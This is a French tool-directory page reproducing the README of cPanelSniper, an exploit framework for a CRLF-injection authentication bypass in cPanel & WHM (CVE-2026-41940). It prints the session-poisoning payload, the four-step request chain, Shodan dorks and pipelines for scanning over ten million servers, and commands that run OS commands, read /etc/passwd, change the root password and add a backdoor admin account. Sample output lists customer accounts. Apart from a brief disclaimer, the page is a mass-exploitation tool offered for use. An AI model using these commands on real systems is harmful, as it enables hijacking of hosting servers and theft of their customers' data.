Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/44pie/cpsniper
Authentification et AutorisationScanners de VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationTests d'IntrusionCommandement et ContrôleRed Teaming
GitHub44pie/cpsniper

cpsniper

cPanelSniper STABLE - CVE-2026-41940 optimisé pour plus de 10 millions de cibles

Voir le dépôt
2il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

cPanelSniper

cPanelSniper

Python CVE cPanel stdlib pipeline Author

CVE-2026-41940 — Contournement d'authentification cPanel & WHM via injection CRLF dans le fichier de session
Chaîne d'exploitation en 4 étapes · Shell WHM interactif · VRAIMENT STABLE pour 10M+ cibles · Zéro utilisation mémoire · stdlib uniquement


Vue d'ensemble

cPanelSniper est un framework d'exploitation ciblé pour CVE-2026-41940, une vulnérabilité critique de contournement d'authentification affectant cPanel & WHM. La vulnérabilité permet à des attaquants distants non authentifiés d'obtenir un accès WHM de niveau root en injectant des séquences CRLF dans le fichier de session via l'en-tête HTTP Authorization — sans aucune identifiant valide.

  • Score CVSS : 10.0 (Critique)
  • Exploitation dans la nature : Confirmée (avril 2026)
  • Installations affectées : ~70 millions de domaines exécutant cPanel & WHM
  • Aucune dépendance : stdlib Python pur — pas de pip, pas de requests, pas de paquets externes

Uniquement pour les tests de pénétration autorisés et les programmes de bug bounty.


⚡ VERSION VRAIMENT STABLE

Cette version est optimisée pour scanner 10 000 000+ de cibles avec ZÉRO utilisation mémoire.

Ce qui a été corrigé

Fonctionnalités clés

  • Architecture de diffusion - Traite 10M+ de cibles sans les charger en mémoire
  • Zéro crash OOM - Même avec de très grandes listes de cibles
  • Reprise automatique - Reprenez là où vous vous êtes arrêté avec --resume
  • Progression en temps réel - ETA, débit de scan, suivi des erreurs
  • Enregistrements périodiques - Résultats auto-enregistrés pour éviter la perte de données
  • Prêt pour les pipelines - Fonctionne parfaitement avec subfinder, httpx, shodan

Comment ça fonctionne

La cause racine se trouve dans Session.pm : la fonction saveSession() appelle filter_sessiondata() après avoir écrit le fichier de session sur le disque. Cela signifie que les caractères CRLF intégrés dans la valeur de l'en-tête Authorization: Basic sont écrits tels quels dans le fichier de session, injectant des champs contrôlés par l'attaquant avant l'assainissement.

root@kitploit:~
Flux normal :
  POST /login/ → filter_sessiondata() → écrire la session → vérification d'auth

Flux vulnérable :
  POST /login/ → écrire la session (payload CRLF injecté) → filter_sessiondata() → la vérification d'auth lit le fichier empoisonné

Le payload CRLF

La valeur Authorization: Basic se décode en :

root@kitploit:~
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

Ces champs sont écrits directement dans le fichier de session sur le disque. Lorsqu'ils sont relus, cPanel traite la session comme une session root entièrement authentifiée.

Chaîne d'exploitation en 4 étapes

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  Étape 0 — Découverte du nom d'hôte canonique              │
│  GET /openid_connect/cpanelid → 307 → nom d'hôte réel      │
├─────────────────────────────────────────────────────────────┤
│  Étape 1 — Créer une session pré-authentification          │
│  POST /login/?login_only=1  (mauvais identifiants)         │
│  ← 401 + cookie whostmgrsession                            │
├─────────────────────────────────────────────────────────────┤
│  Étape 2 — Injection CRLF                                   │
│  GET / + Cookie: session + Authorization: Basic <payload>  │
│  cpsrvd écrit les champs CRLF dans le fichier de session   │
│  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
├─────────────────────────────────────────────────────────────┤
│  Étape 3 — Propager (gadget do_token_denied)               │
│  GET /scripts2/listaccts                                    │
│  Déclenche le flush raw→cache — les champs injectés deviennent actifs │
│  ← 401 Token refusé (attendu)                              │
├─────────────────────────────────────────────────────────────┤
│  Étape 4 — Vérifier l'accès root WHM                       │
│  GET /cpsessXXXXXXXXXX/json-api/version                    │
│  ← 200 {"version":"11.x.x.x","result":1}  = PWNED          │
└─────────────────────────────────────────────────────────────┘

Versions affectées


Installation

root@kitploit:~
git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help

Aucune installation pip requise. Python 3.8+ stdlib pur uniquement.


Utilisation

Scan de base

root@kitploit:~
# Cible unique — scan uniquement
python3 cPanelSniper.py -u https://target.com:2087

# Cible unique — shell interactif après contournement
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# Grande liste de cibles — 10M+ cibles (VRAIMENT STABLE)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# Reprendre un scan interrompu
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

Actions post-exploitation

root@kitploit:~
# Lister tous les comptes cPanel sur le serveur
python3 cPanelSniper.py -u https://target.com:2087 --action list

# Exécuter une commande OS
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"

# Obtenir les informations du serveur (nom d'hôte, charge, disque, hôte MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info

# Obtenir la version de cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version

# Changer le mot de passe root
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'

# Shell WHM interactif
python3 cPanelSniper.py -u https://target.com:2087 --action shell

Pipelines (VRAIMENT STABLE pour les grandes listes)

root@kitploit:~
# subfinder → httpx → enregistrer dans un fichier → scanner 10M+ cibles
subfinder -d target.com -silent | \
  httpx -silent -ports 2087,2086 -threads 50 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# Depuis une liste de périmètre - gérer des millions de domaines
cat scope.txt | \
  httpx -silent -ports 2087,2086 -threads 100 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

# Résultats Shodan - scan massif
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' > targets.txt
python3 cPanelSniper.py -l targets.txt -t 30 -o shodan_results.json

# Pipe stdin - pour les petites listes uniquement (<100K)
echo "https://target.com:2087" | python3 cPanelSniper.py

# Sources multiples combinées → scan à grande échelle
{ subfinder -d target.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 > all_targets.txt
python3 cPanelSniper.py -l all_targets.txt -t 50 -o results.json --resume

Meilleures pratiques VRAIMENT STABLE

Pour scanner 10M+ cibles :

  1. Enregistrez toujours dans un fichier d'abord - Ne pipez pas directement pour les grandes listes

    root@kitploit:~
    # BON - fonctionne avec 10M+ cibles
    httpx ... > targets.txt
    python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
    
    # MAUVAIS - plantera avec les grandes listes
    httpx ... | python3 cPanelSniper.py
    
  2. Utilisez un nombre de threads approprié

    • 10-20 threads : 100K cibles
    • 30-50 threads : 1M-10M cibles
    • 50-100 threads : 10M+ cibles
  3. Activez la reprise automatique pour les longs scans

    root@kitploit:~
    python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
    

    En cas d'interruption, relancez simplement avec --resume

  4. Surveillez la progression

    • ETA en temps réel affiché
    • Résultats enregistrés toutes les 60 secondes
    • Ctrl+C préserve toutes les découvertes

Shell WHM interactif

Après un contournement réussi, l'option --action shell ouvre une invite interactive :

root@kitploit:~
════════════════════════════════════════════════════════════
  WHM Shell — target.com
  Version : CVE-2026-41940 | Auth : contournement CRLF
  Tapez 'help' pour les commandes, 'exit' pour quitter
════════════════════════════════════════════════════════════

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  [Comptes cPanel]  target.com:2087 (47 utilisateurs)
    user01               domaine : example.com    email : [email protected]
    user02               domaine : shop.com       email : [email protected]
    ...

[email protected] ▶ cat /etc/passwd
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...

[email protected] ▶ info
  [Infos serveur]  https://target.com:2087
  hostname : srv01.target.com
  charge : 0.72 / 0.66 / 0.69
  version : 11.130.0.6

[email protected] ▶ addadmin mitsec P@ss2026!
  [ADMIN BACKDOOR CRÉÉ]
  Cible    : https://target.com:2087
  Utilisateur : mitsec
  Mot de passe : P@ss2026!
  Profil   : super_admin

[email protected] ▶ exit

Commandes du shell


Référence CLI

root@kitploit:~
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                       [-t THREADS] [--timeout TIMEOUT] [--resume]
                       [-o OUTPUT] [--no-color] [--save-interval N]

Cible :
  -u, --url URL          URL de la cible unique (ex. https://host:2087)
  -l, --list LIST        Fichier avec les URLs (une par ligne)
  --hostname HOSTNAME    Remplacer l'en-tête Host canonique (auto-découvert)

Scan :
  -t, --threads N        Threads concurrents (défaut : 20)
  --timeout N            Délai d'expiration des requêtes en secondes (défaut : 15)
  --resume               Reprendre depuis un scan précédent (ignorer les cibles traitées)

Sortie :
  -o, --output FILE      Enregistrer les résultats dans un fichier JSON
  --no-color             Désactiver les couleurs ANSI
  --save-interval N      Enregistrer les résultats toutes les N secondes (défaut : 60)

Dorks Shodan

root@kitploit:~
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087

Exemple de sortie

root@kitploit:~
   ██████╗██████╗  █████╗ ███╗  ██╗███████╗██╗
  ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
  ...

  CVE-2026-41940 — Contournement d'auth cPanel & WHM via injection CRLF
  4 étapes : pré-auth → injection CRLF → propagation → vérification → post-exploitation
  In-The-Wild | CVSS 10.0 | Par Mitsec (@ynsmroztas)

  Configuration :
   Cibles   : 1
   Threads  : 10
   Délai    : 15s
   Action   : list

14:46:22 [SCAN] Démarrage de la chaîne d'exploitation en 4 étapes... https://target.com:2087
14:46:23 [INFO] Nom d'hôte canonique découvert : srv01.target.com
14:46:23 [STEP] Étape 1/4 — Création de la session pré-auth...
14:46:23 [  OK] Étape1 : session pré-auth = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] Étape 2/4 — Injection CRLF via l'en-tête Authorization...
14:46:24 [  OK] Étape2 : HTTP 307 → token=/cpsess8493537756
14:46:24 [STEP] Étape 3/4 — Déclenchement du gadget do_token_denied (raw→cache)...
14:46:25 [  OK] Étape3 : HTTP 401 — gadget do_token_denied déclenché
14:46:25 [STEP] Étape 4/4 — Vérification de l'accès root WHM...
14:46:26 [PWND] CVE-2026-41940 CONFIRMÉ — Accès root WHM !
14:46:26 [PWND]   Token    : /cpsess8493537756
14:46:26 [PWND]   Version  : 11.130.0.6
14:46:26 [PWND]   URL API  : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] Exécution de l'action post-exploitation : list
14:46:27 [ API] listaccts → HTTP 200

  [Comptes cPanel]  target.com:2087 (47 comptes)
    client01    domaine : client01.com    email : [email protected]
    client02    domaine : client02.net    email : [email protected]
    ...

══════════════════════════════════════════════════════════════════════
  cPanelSniper — Scan terminé
  Temps : 5.8s  ·  Cibles : 1

  ⚡ 1 CIBLE(S) VULNÉRABLE(S)

  Cible    : https://target.com:2087
  Version  : 11.130.0.6
  Token    : /cpsess8493537756
  URL API  : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════

Détails techniques

Injection dans le fichier de session

La valeur Authorization: Basic injectée (décodée en base64) contient des séquences CRLF qui deviennent des nouvelles lignes dans le fichier de session cPanel :

root@kitploit:~
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1

Le lecteur de session de cPanel analyse ces champs comme des champs de session légitimes, accordant un accès root WHM complet.

Étape 3 — Le gadget do_token_denied

L'étape critique et souvent négligée : après l'injection CRLF (étape 2), les données de session empoisonnées n'existent que dans le fichier de session brut. Une requête vers /scripts2/listaccts déclenche le gestionnaire interne do_token_denied, qui vide les données de session brutes dans le cache de session. Sans ce vidage, l'étape 4 renverrait un 403.

Extraction du token de session

root@kitploit:~
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
                              ^              ^
                              |              +-- hash ob (supprimé)
                              +-- nom de session (utilisé pour l'injection)

Le nom de session (avant %2C) est extrait et utilisé comme valeur de cookie pour les requêtes suivantes.


Références

  • watchTowr Labs — Analyse technique CVE-2026-41940
  • Avis de sécurité cPanel
  • NVD — CVE-2026-41940
  • Blog Hadrian — Analyse CVE-2026-41940
  • Modèle Nuclei — CVE-2026-41940

Avertissement

Cet outil est destiné uniquement aux tests de sécurité autorisés et aux programmes de bug bounty. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité et n'est pas responsable de tout usage abusif ou dommage causé par cet outil. Obtenez toujours une autorisation écrite appropriée avant de tester.


Auteur

Mitsec — @ynsmroztas

  • 🏆 Top Hacker — Intigriti
  • 🐛 2 430+ vulnérabilités divulguées
  • 💀 1 100+ découvertes critiques P1
  • 🏅 100+ reconnaissances Hall of Fame

Fait avec ❤️ par @ynsmroztas

Télécharger l’outil
ProblèmeVersion originaleVersion corrigée
Utilisation mémoireCharge toutes les cibles en RAMDiffuse les cibles ligne par ligne (0 mémoire)
10M de ciblesOOM → Tué ❌Se termine avec succès ✅
RepriseNon prise en chargeOption --resume
ProgressionPas d'ETAETA en temps réel + débit + statistiques
RésultatsEnregistrés uniquement à la finEnregistrés toutes les 60 s (configurable)
BrancheVulnérableCorrigée
110.x≤ 11.110.0.9611.110.0.97
118.x≤ 11.118.0.6211.118.0.63
126.x≤ 11.126.0.5311.126.0.54
132.x≤ 11.132.0.2811.132.0.29
134.x≤ 11.134.0.1911.134.0.20
136.x≤ 11.136.0.411.136.0.5
CommandeDescription
id / whoamiAfficher l'UID et le nom d'hôte
hostnameObtenir le nom d'hôte du serveur
versionInformations sur la version de cPanel
infoCharge, disque, hôte MySQL, version
accountsLister tous les comptes utilisateur cPanel
cat <path>Lire le contenu d'un fichier
ls [path]Lister un répertoire
exec <cmd>Exécuter une commande OS
addadmin <user> <pass>Créer un admin WHM backdoor
passwd <pass>Changer le mot de passe root
api <endpoint> [k=v ...]Appel API JSON WHM brut
helpAfficher toutes les commandes
exitQuitter le shell